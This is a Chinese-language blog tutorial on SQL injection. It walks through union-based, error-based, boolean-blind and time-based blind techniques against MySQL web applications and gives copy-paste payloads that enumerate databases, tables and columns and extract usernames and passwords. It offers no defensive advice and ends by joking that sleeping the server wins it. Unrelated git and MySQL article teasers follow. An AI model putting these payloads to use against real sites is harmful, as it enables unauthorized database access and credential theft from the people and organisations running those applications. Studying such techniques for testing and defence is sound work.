百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT技术 > 正文

浅谈SQL注入

wptr33 2025-02-15 01:25 12 浏览

在关于SQL注入,百度的解释是这样的:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

言简意赅地说,把数据变成程序,查询变成执行;就是不按常理出牌,俗称乱拳打死老师傅。

几种主流的sql注入技术浅析

——注入方法向下兼容,执行力越来越高


1.若是能观察到显示位和返回数据,即可使用手工id注入的方法

1.寻找注入点,构造闭合 url?id=1 所猜闭合 and 1=2 --+

若猜错则web无执行该语句,显示正常页面;猜对,则web执行该语句,出现预期外的结果

2.查看当前表总共有多少列 url?id=1 order by 所猜测的数字 --+

2.寻找显示位 url?id=-1’ union all select 1,2,3 --+

3.定位该网页所选用数据库 database()当前数据库 version() 数据库版本号

4.通过数据库查找web所用表 url?id=-1’ union all select 1,table_name,3 from information_schema.tables where table_schema=’当前数据库’ --+

5.通过已知数据库和表名查找该表内所有列名 url?id=-1’ union all select 1,column_name,3 from information_schema.columns where table_schema=’当前数据库’ and table_name=’当前表名’ --+

6.最后一只数据库,表名,列名后,直接查询数据库中的用户名和密码

url?id=-1 union all select 1,用户名,密码 from 表名

2.若是web页面无显示位,也无可惜那时数据,仍然有sql报错通知显示,即可使用报错型sql注入

以下代码摘自Firefox插件Max HackBar

报错型sql注入上述sql注入的前三步是一致的,但没有数据的回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果sql语句出现错误则可以显示在页面上,我们可以利用这点来构造报错显示sql语句。下边是利用 `count(*), FLOOR(RAND(0)*2,group by `报错。

前几部步骤一致,寻找到注入点后在植入点直接复制该段代码即可


查看database版本

OR 1 GROUP BY CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1

查看database

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

查看表

AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=数据库名字 LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

查看列

AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=表名 AND table_schema=数据库名 LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

查看数据

AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(列名) AS CHAR),0x7e)) FROM 表名 LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

在以上注入语句中,可以使用group_concat()函数进行一次多个查找



3.若是无显示位也无报错值,只能在页面上看到页面是否正确,这里就要使用布尔盲注blind injection了


什么是布尔?什么是盲注?

字面上,盲注就是瞎jb注入,看不见回显,只有1,和0

布尔值就是1,和0的值

布尔型是利用页面至少会呈现正确提交和错误提交两种不同回馈,来构造sql语句逐个猜测数据库中内容。
例如:一个人不说话,如果你说对了他就点头,如果你说错了他就摇头。理解以下场景:

菜鸟:“大佬,你是不姓张?”

不说话的大佬:摇头ing

菜鸟:“我知道了,大佬你姓赵是不是?”

不说话的大佬:欣慰的点头ing

菜鸟自语:“原来大佬姓赵啊”

然后菜鸟开始了新一轮的猜测问答

以上就是布尔型盲注的原理。

布尔盲注使用以下基本sql函数:

Length()//返回字符串的长度

Length(abc)返回3,表示abc字符串长度为3

Substr()//截取字符串

Stbstr(abc,1,1) 返回a,从abc的第一位开始截,步长为1。

前几部过程一致,寻找注入点后即可开始注入

构造判断语句

id =1 and 1=2

id =1’ and 1=2 --+

id =1“ and 1=2 --+


+ 构造暴库语句

id=1‘ and length(database())>1 --+ //增1这个数字大小来判断库名长度

id 1’ and ascii(substr(database(),1,1)) > 1 --+ //增加1这个数据来判断数据库名的第一个字母ascii值大小,参考码表

id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))>1 --+ //表名

id =1‘ and ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = '库名' limit 0,1),1,1)) //列名

id=1‘ and ascii(substr((select ’列名‘ from '表名' limit 0,1),1,1)) //爆值

通过基本的逻辑运算和ASCII表,成功只问是与否就可获取我们所想要知道的信息



4.若是无显示为也无报错值,布尔盲注之后也无显示对与否,我们是不是就没有办法获取信息了呢?

密码学中有一种通信攻击方式叫做侧信道攻击

百度百科如下:

边信道攻击,又称侧信道攻击:针对加密电子设备在运行过程中的时间消耗、功率消耗或电磁辐射之类的侧信道信息泄露而对加密设备进行攻击的方法被称为边信道攻击。这类新型攻击的有效性远高于密码分析的数学方法,因此给密码设备带来了严重的威胁。

我们这里使用的是被划重点的“时间消耗”间接地判断出服务器上是否执行该命令;

时间消耗需要用到以下函数

同普通布尔盲注类似,不过加入了sleep()函数,通过服务器返回数据的时间来判断该命令是否被执行(网页是不是很明显的卡了一下)

实际环境中根据自身需求进行改写睡眠时间


+ 构造判断语句

id=1' and if(1=2,1, sleep(10)) --+

id=1" and if(1=2,1, sleep(10)) --+

id=1) and if(1=2,1, sleep(10)) --+


+ 构造暴库语句

id=1‘ and if((length(database()>1),sleep(4),0) --+ //增加1值来猜库名的长度

id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+ //库名

id 1’ and if((ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = 'your database'limit 0,1),1,1)) > 1),sleep(4),0 )--+ //表名

sleep()

括号中直接加入睡眠时间,你就可以睡这个服务器了,睡了服务器,服务器就到手了

相关推荐

每天一个编程技巧!掌握这7个神技,代码效率飙升200%

“同事6点下班,你却为改BUG加班到凌晨?不是你不努力,而是没掌握‘偷懒’的艺术!本文揭秘谷歌工程师私藏的7个编程神技,每天1分钟,让你的代码从‘能用’变‘逆天’。文末附《Python高效代码模板》,...

Git重置到某个历史节点(Sourcetree工具)

前言Sourcetree回滚提交和重置当前分支到此次提交的区别?回滚提交是指将改动的代码提交到本地仓库,但未推送到远端仓库的时候。...

git工作区、暂存区、本地仓库、远程仓库的区别和联系

很多程序员天天写代码,提交代码,拉取代码,对git操作非常熟练,但是对git的原理并不甚了解,借助豆包AI,写个文章总结一下。Git的四个核心区域(工作区、暂存区、本地仓库、远程仓库)是版本控制的核...

解锁人生新剧本的密钥:学会让往事退场

开篇:敦煌莫高窟的千年启示在莫高窟321窟的《降魔变》壁画前,讲解员指着斑驳色彩说:"画师刻意保留了历代修补痕迹,因为真正的传承不是定格,而是流动。"就像我们的人生剧本,精彩章节永远...

Reset local repository branch to be just like remote repository HEAD

技术背景在使用Git进行版本控制时,有时会遇到本地分支与远程分支不一致的情况。可能是因为误操作、多人协作时远程分支被更新等原因。这时就需要将本地分支重置为与远程分支的...

Git恢复至之前版本(git恢复到pull之前的版本)

让程序回到提交前的样子:两种解决方法:回退(reset)、反做(revert)方法一:gitreset...

如何将文件重置或回退到特定版本(怎么让文件回到初始状态)

技术背景在使用Git进行版本控制时,经常会遇到需要将文件回退到特定版本的情况。可能是因为当前版本出现了错误,或者想要恢复到之前某个稳定的版本。Git提供了多种方式来实现这一需求。...

git如何正确回滚代码(git命令回滚代码)

方法一,删除远程分支再提交①首先两步保证当前工作区是干净的,并且和远程分支代码一致$gitcocurrentBranch$gitpullorigincurrentBranch$gi...

[git]撤销的相关命令:reset、revert、checkout

基本概念如果不清晰上面的四个概念,请查看廖老师的git教程这里我多说几句:最开始我使用git的时候,我并不明白我为什么写完代码要用git的一些列指令把我的修改存起来。后来用多了,也就明白了为什么。gi...

利用shell脚本将Mysql错误日志保存到数据库中

说明:利用shell脚本将MYSQL的错误日志提取并保存到数据库中步骤:1)创建数据库,创建表CreatedatabaseMysqlCenter;UseMysqlCenter;CREATET...

MySQL 9.3 引入增强的JavaScript支持

MySQL,这一广泛采用的开源关系型数据库管理系统(RDBMS),发布了其9.x系列的第三个更新版本——9.3版,带来了多项新功能。...

python 连接 mysql 数据库(python连接MySQL数据库案例)

用PyMySQL包来连接Python和MySQL。在使用前需要先通过pip来安装PyMySQL包:在windows系统中打开cmd,输入pipinstallPyMySQL ...

mysql导入导出命令(mysql 导入命令)

mysql导入导出命令mysqldump命令的输入是在bin目录下.1.导出整个数据库  mysqldump-u用户名-p数据库名>导出的文件名  mysqldump-uw...

MySQL-SQL介绍(mysql sqlyog)

介绍结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统,可以使用相同...

MySQL 误删除数据恢复全攻略:基于 Binlog 的实战指南

在MySQL的世界里,二进制日志(Binlog)就是我们的"时光机"。它默默记录着数据库的每一个重要变更,就像一位忠实的史官,为我们在数据灾难中提供最后的救命稻草。本文将带您深入掌握如...